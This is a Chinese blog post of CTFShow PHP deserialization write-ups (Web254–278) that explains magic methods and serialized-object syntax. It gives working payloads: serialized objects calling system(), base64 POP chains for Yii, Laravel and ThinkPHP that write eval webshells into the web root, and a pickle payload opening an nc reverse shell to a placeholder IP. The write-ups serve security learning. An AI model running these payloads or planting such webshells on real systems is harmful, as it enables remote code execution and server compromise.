PHP反序列化总结
PHP反序列化总结
反序列化学的比较烂,所以这一篇基本上是CTFSHOW题解了。
一、PHP前置基础
二、PHP反序列化简介
1.反序列化是什么?为什么存在漏洞?
2.关于魔术方法
什么是魔术方法?
与反序列化相关的魔术方法:
构造方法__construct、析构方法__destruct在序列化和反序列化过程中都不会被调用
但是当某个对象被销毁时会调用析构方法,可以利用这一点构造POP链。
反序列化不调用构造方法
3.关于类中不同类型的属性
public:反序列化得到的变量名就是它自己
private:在变量名前添加标记%00(classname)%00,长度+2+类名长度: s:17:"%00FileHandler%00op";i:2;
protected:在变量名前添加标记%00*%00,长度+3: s:5:"%00*%00op";i:2;
二、CTFShow题解
Web254
有点难绷,账号和密码就是xxxxxx
Web255
payload:
GET /?username=xxxxxx&password=xxxxxx
COOKIE user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
一定记得URL编码,否则会出现奇怪的问题
Web256
看起来跟上面一题一样,不确定,payload打一下试试
原来是加了username和password不能一样的限制,改一下就行
payload:
GET /?username=123&password=456
COOKIE user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22456%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
Web257
GET /username=1&password=2
payload:
O:11:”ctfShowUser”:4:{s:21:”ctfShowUserusername”;s:1:”1”;s:21:”ctfShowUserpassword”;s:1:”2”;s:18:”ctfShowUserisVip”;b:0;s:18:”ctfShowUserclass”;O:8:”backDoor”:1:{s:14:”backDoorcode”;s:13:”system(‘tac flag.php’);”;}}
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A1%3A%221%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A1%3A%222%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system(‘tac%20flag.php’)%3B%22%3B%7D%7D
Web258
还有过滤??什么鬼东西preg_match('/[oc]:\d+:/i', $_COOKIE['user'])这是什么意思呢?
这个PHP语句使用正则表达式来匹配一个名为’user’的cookie值。正则表达式模式是/[oc]:\d+:/i。
让我们逐个解释模式中的各个部分:
[oc]:这是一个字符类(character class),它匹配单个字符,可以是字母’o’或’c’中的任意一个。
::匹配冒号字符。
\d+:这是一个量词,表示匹配一个或多个数字字符。
::匹配冒号字符。
/i:是一个修饰符(modifier),表示不区分大小写匹配。
因此,该正则表达式模式用于查找以字母’o’或’c’开头,后跟一个或多个数字字符,然后以冒号结尾的字符串。如果该模式匹配了用户的cookie值,条件就会满足。
payload:
O:+11:”ctfShowUser”:4:{s:8:”username”;s:1:”1”;s:8:”password”;s:1:”2”;s:5:”isVip”;b:0;s:5:”class”;O:+8:”backDoor”:1:{s:4:”code”;s:22:”system(‘tac flag.php’)”;}}
上面那个system语句忘记加分号了 我是傻逼
O:+11:”ctfShowUser”:4:{s:8:”username”;s:1:”1”;s:8:”password”;s:1:”2”;s:5:”isVip”;b:0;s:5:”class”;O:+8:”backDoor”:1:{s:4:”code”;s:13:”system(‘ls’);”;}}
O:+11:”ctfShowUser”:4:{s:8:”username”;s:1:”1”;s:8:”password”;s:1:”2”;s:5:”isVip”;b:0;s:5:”class”;O:+8:”backDoor”:1:{s:4:”code”;s:23:”system(‘tac flag.php’);”;}}
有效的payload:
O:+11:”ctfShowUser”:1:{s:5:”class”;O:+8:”backDoor”:1:{s:4:”code”;s:17:”system(‘tac f*’);”;}}
Web259
好像跟反序列化没啥关系啊
用原生类的反序列化打SSRF,上难度了
本题的思路简单来说就是利用PHP原生类中__call函数可控的部分来注入HTTP头,控制UA,使得服务器误以为UA的内容就是HTTP头中的其他内容,从而完成对XFF的覆盖(因为XFF在UA的后边)
payload:
1 |
|
这题对于我来说还是有点太难了
Web260
直接传36D进去就行
Web261
来玩玩CTFShow 感觉还是得结合buuctf
首先得熟悉一下出现的各种魔术方法:
__wakeup:当序列化字符串被反序列化时执行
__sleep:当序列化一个对象时执行
__invoke:尝试将对象调用为函数时执行
__construct:构造方法
__destruct:析构方法,一个对象被销毁时调用
__unserialize:这玩意第一次见,
当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组
也就是说这里不会执行__wakeup了
学完了魔术方法就来审代码了
其实啥也不用管,只看析构方法就行,36D是弱类型比较。
EXP:
1 | <?php |
下次试试直接system(‘tac /*f*‘)
Web262
是要让token为admin 什么鬼题目
EXP:
1 |
|
Web263
一打开咋是个登录界面
实在太难了,当长长见识吧、
payload:
1 |
|
//1.index.php
cookie传:>limit=czo5MjoifE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4O>iJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BLy8iO30iOw%3D%3D//2.带着cookie去访问check.php
//3.访问log-1.php
post传:a=system(‘cat flag.php’);//4.查看源代码获得flag
Web264
str_replace字符串逃逸
payload:
1 | ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} |
Web265
这题目怎么一个比一个难
exp(抄的):
1 |
|
Web266
有关try-catch-throw的参考:
参考文档
这里反序列化操作一定会执行,所以直接正常写exp就行
嘶 不对,不能正常执行完脚本 反序列化的对象不出作用域,执行不了析构函数,还是得注意一下
利用PHP对类名的大小写不敏感写exp
exp:
1 |
|
上面的exp有错哦:
在PHP中,服务器会自动进行URL解码的部分有:
GET传递的参数:GET请求中的参数会被服务器自动解码。这些参数通常出现在URL的查询字符串中,例如:example.com/page.php?param1=value1¶m2=value2。服务器会将参数值自动解码为可读的形式,例如将%20解码为空格。
POST传递的参数:POST请求中的参数也会被服务器自动解码。这些参数通常包含在请求的正文中,不会显示在URL中。服务器会自动解码这些参数值,以便在PHP代码中使用。
以下部分不会被服务器自动进行URL解码:
User-Agent等HTTP头:HTTP头部包含了关于请求的附加信息,例如User-Agent、Content-Type等。这些头部信息不会被服务器自动解码,它们的值将保持原样,需要开发者自行解码。
通过php://input传递的内容:php://input是PHP中一个用于访问请求正文的流。如果你在代码中使用php://input来获取请求正文的内容,服务器不会自动进行URL解码。你需要自行解码来处理请求正文的内容。
需要注意的是,GET和POST请求中的参数在被服务器解码后,会被存储在超全局变量$_GET和$_POST中,这些变量中的值已经是解码后的形式,可以直接在PHP代码中使用,无需再进行解码。
不编码就行了
Web267
Yii框架反序列化漏洞,可以导致RCE:
可以抄到现成的POP链子:
1 |
|
payload:
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NzI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8yLnBocCI7fWk6MTtzOjM6InJ1biI7fX19fQ==
Web268
据说是换了条链子
1 |
|
payload:
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19
Web269
payload:
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19
Web270
payload:
?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19
姿势不用换就能出。可惜都是抄别的大佬的wp做的
当长个见识吧
Web271
CVE-2019-9081,Laravel 5.7反序列化漏洞
也有现成的链子可以抄:
1 |
|
Web272
怎么全是CVE 不想说话了
1 |
|
Web273
跟上面一题一样
Web274
thinkphp 5.1反序列化漏洞
纯抄wp
1 |
|
Web275
今天的CTF到此结束 明天再玩
好像是单纯的代码审计?
最关键的部分还是eval的部分,直接执行代码cat *f*就行
payload:
?fn=php;tac *f*
Web276
做不动了 想摆烂了
想去玩三色绘恋了
可恶
好像是要想办法让admin=true?
看了大佬的wp,是条件竞争,做不了,顺理成章地摆烂了
Web277
exp:
1 | import base64 |
pickle.loads(m)是一个Python代码片段,其中pickle是Python标准库中的模块,用于序列化(将对象转换为字节流)和反序列化(将字节流转换回对象)Python对象。
在这个代码片段中,pickle.loads()是pickle模块中的函数,用于反序列化(将字节流转换回对象)。m是一个字节流(序列化后的对象),通过调用pickle.loads(m),我们将字节流m反序列化为原始的Python对象。
换句话说,这行代码的作用是将通过pickle.dumps()序列化后的对象重新转换回原始的Python对象。
序列化是将对象转换为可以在网络上传输或存储的字节流的过程。在Python中,pickle模块提供了序列化和反序列化的功能。
pickle模块提供了两个主要的方法来进行序列化:
pickle.dumps(obj):将Python对象obj序列化为一个字节流(bytes)。它返回一个表示序列化对象的字节流,可以将其存储到文件或通过网络传输。
有关pickle反序列化:
在Python中,使用pickle模块进行反序列化时,会调用对象的__reduce__()方法来确定对象的重新构建方式。reduce()方法返回一个元组,其中第一个元素是要调用的函数,而后续元素是该函数的参数。
在你提供的代码中,CTFshow类的__reduce__()方法返回了一个元组,其中第一个元素是eval函数,而后续元素是一个包含要执行的代码的字符串。因此,当调用pickle.loads()或pickle.load()来反序列化数据时,它会调用eval函数,并将字符串”import(‘os’).popen(‘nc ip地址 端口 -e /bin/sh’).read()”作为代码进行执行。
这段代码的目的是通过反序列化来执行恶意命令,打开一个与指定IP地址和端口的远程主机的网络连接,并执行/bin/sh(Shell)命令。这是一种危险的行为,因为它允许攻击者在你的系统上执行任意命令。
对于反序列化过程来说,不需要定义与序列化时相同的类。在Python中,pickle模块会使用序列化数据中的信息来重建对象。当进行反序列化时,pickle会调用对象的__reduce__()方法(如果定义了的话),以确定对象的重新构建方式。
在你的代码中,虽然没有提供CTFshow类的定义,但在反序列化过程中,pickle模块会使用序列化数据中的信息调用__reduce__()方法,并执行返回的函数以重新构建对象。因此,尽管没有CTFshow类的定义,但仍然可以成功反序列化,并执行eval函数调用。
__reduce__()方法的相关内容会被写入序列化的字节流中。当调用pickle.dumps()或pickle.dump()将对象序列化为字节流时,pickle模块会将对象的类型、属性和__reduce__()方法返回的信息一起写入字节流中。
在反序列化过程中,pickle模块会读取字节流并根据其中的信息来重建对象。它会查找对象的类型信息,并调用__reduce__()方法来获取对象的重新构建方式。因此,reduce()方法的返回值会在反序列化过程中被解析和使用。
dump()函数用于将对象序列化为字节流,并将其写入文件或类似对象的流中
dumps()函数用于将对象序列化为字符串,并返回序列化后的字符串。
Web278
上面那个payload照样能打
总结一下
感觉CTFSHOW上的反序列化题目还比较无聊,没有太大的收获,反序列化暂且告一段落,学java和nodejs去了,两块硬骨头
- 标题: PHP反序列化总结
- 作者: yansui
- 创建于: 2023-07-08 21:29:01
- 更新于: 2023-09-08 11:07:43
- 链接: http://yansui.xyz/2023/07/08/反序列化总结/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。